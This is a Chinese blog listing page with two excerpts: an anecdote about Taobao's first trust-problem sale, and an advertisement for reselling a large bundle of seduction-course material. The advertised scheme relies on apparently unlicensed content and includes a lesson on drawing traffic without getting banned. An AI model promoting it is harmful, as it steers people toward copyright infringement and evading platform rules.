    据了解,当年淘宝刚开始上线投入使用的时候,作为一个新生的产品,很多人都难以相信这种虚拟交易,毕竟商品买卖一直都是一手交钱一手交货,突然看不到钱也看不到货,谁也不愿意冒这个险。 直到有了第一个敢于“吃螃蟹”的人,他的名字叫崔卫平。他之所以接受这种交易方式,可能和他在国外留学的经验有关。 他是一位身在日本的留学生,把自己闲置的“富士相机”挂到了淘宝上出售,有一些买家喜欢他的二手相机,但是交易双方对彼此的信任度都很低,所以数码相机一直没有卖出。为了方便交易的顺利完成,阿里巴巴还为淘宝、支付宝设计开发了第三方交易平台,告诉买卖双方交易是有保障的。 最后这台相机在淘宝客服的“热心帮助”下成功出售了,这个记录今天还留在支付宝大楼里。 @新熵的微博...

    2023-08-19 196
  • 情人节风口 卖“杏商”课合集(海王秘籍) 一单99 一周能卖1000单 暴...

    今天给大家带来的项目是《一单利润99 一周能出1000单,卖杏商课程合集(海王秘籍),暴力掘金》“情人节“,即将来临,关于“性商”方面的课程,肯定会大卖!这类课程的需求很大,我已经帮大家整理好课程合集给大家,一共517G,出去打包卖99,很合理!而且,课程内容很齐全,可以拿出去迈,也可以自己“不学习”。 课程目录: 项目资料(512G杏商课程)(文件夹)01 简单的项目介绍02 简单的账号设置03 爆款作品的逻辑?04 如何引流才不封号?05 四种暴力变现方式 ...

    2023-08-19 192

联系我们

在线咨询:点击这里给我发消息

QQ交流群:KirinBlog

工作日:8:00-23:00,节假日休息

扫码关注